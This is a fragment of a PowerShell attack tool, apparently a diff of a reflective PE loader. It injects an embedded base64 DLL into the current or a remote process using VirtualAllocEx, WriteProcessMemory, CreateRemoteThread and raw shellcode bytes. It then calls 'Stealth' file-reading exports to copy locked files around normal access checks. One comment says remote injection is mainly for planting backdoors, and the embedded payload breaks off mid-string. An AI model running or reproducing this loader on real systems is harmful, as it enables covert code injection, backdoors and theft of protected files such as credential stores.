[System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + [IntPtr]$LoadAddr = [IntPtr]::Zero + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + $ProcId = $null + $ExeArgs = $null + $ProcName = $null + + #Determine whether or not to use 32bit or 64bit bytes + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64) + } + else + { + [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32) + } + $PEBytes[0] = 0 + $PEBytes[1] = 0 + + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege +# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) +# { +# Write-Verbose "Getting SeDebugPrivilege" +# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants +# } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } + + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + + Write-Verbose "Calling StealthReadFile in DLL" + + #Get some functions from the DLL + [IntPtr]$StealthReadFileAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StealthReadFile" + if ($StealthReadFileAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find address of StealthReadFile." + } + $StealthReadFileDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt64], [UInt32].MakeByRefType(), [UInt64].MakeByRefType()) ([UInt32]) + $StealthReadFile = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StealthReadFileAddr, $StealthReadFileDelegate) + + [IntPtr]$StealthCloseFileAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StealthCloseFile" + if ($StealthCloseFileAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find address of StealthCloseFile." + } + $StealthCloseFileDelegate = Get-DelegateType @([IntPtr]) ([Void]) + $StealthCloseFile = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StealthCloseFileAddr, $StealthCloseFileDelegate) + + [IntPtr]$StealthOpenFileAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StealthOpenFile" + if ($StealthOpenFileAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find address of StealthOpenFile." + } + + $StealthOpenFileDelegate = Get-DelegateType @([String]) ([IntPtr]) + $StealthOpenFile = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StealthOpenFileAddr, $StealthOpenFileDelegate) + + + if ($RemoteDestination -imatch "^\s*$") + { + $RemoteDestination = $null + } + + #Open the file and get a stealth handle + [IntPtr]$FileHandle = $StealthOpenFile.Invoke($Path) + if ($FileHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't get a handle for the file" + } + + $StopLoop = $false + do + { + [IntPtr]$BufferPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BufferSize) + [UInt32]$BytesRead = 0 + [UInt64]$BytesLeft = 0 + + [UInt32]$RetVal = $StealthReadFile.Invoke($FileHandle, $BufferPtr, $BufferSize, $FileOffset, [Ref]$BytesRead, [Ref]$BytesLeft) + + if ($RetVal -ne 0) + { + Write-Error "Error reading file. Return code: $RetVal" -ErrorAction Stop + } + #If there are still bytes of the file left, and a Path was not specified, throw an error. + # This means the user is attempting to stream back a file over PS remoting which is bigger than the max size they specified + if ($RemoteDestination -eq $null) + { + $StopLoop = $true + } + + [Byte[]]$ByteBuffer = New-Object Byte[] $BytesRead + [System.Runtime.InteropServices.Marshal]::Copy($BufferPtr, $ByteBuffer, 0, $BytesRead) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BufferPtr) + + if ($RemoteDestination -ne $null) + { + $FileStream = New-Object System.IO.FileStream $RemoteDestination,([System.IO.FileMode]::Append) + $FileStream.Seek(0, [System.IO.SeekOrigin]::End) | Out-Null + $FileStream.Write($ByteBuffer, 0, $BytesRead) | Out-Null + $FileStream.Flush() | Out-Null + $FileStream.Dispose() | Out-Null + $FileStream = $null + } + + [UInt64]$FileOffset += $BytesRead + + Write-Verbose "Read $BytesRead bytes. $BytesLeft bytes remaining." + } while (($BytesLeft -gt 0) -and ($StopLoop -eq $false)) + + #Close the file + $StealthCloseFile.Invoke($FileHandle) | Out-Null + + + + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + + #More custom code + if ($RemoteDestination -eq $null) + { + $obj = New-Object PSObject + $obj | Add-Member -MemberType NoteProperty -Name Bytes -Value $ByteBuffer + $obj | Add-Member -MemberType NoteProperty -Name BytesLeft -Value $BytesLeft + $obj | Add-Member -MemberType NoteProperty -Name BytesRead -Value $BytesRead + return $obj + } + else + { + return $null + } + } + + Main +} + +#Main function to either run the script locally or remotely +Function Main +{ + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + + Write-Verbose "PowerShell ProcessID: $PID" + + [String]$PEBytes64 = "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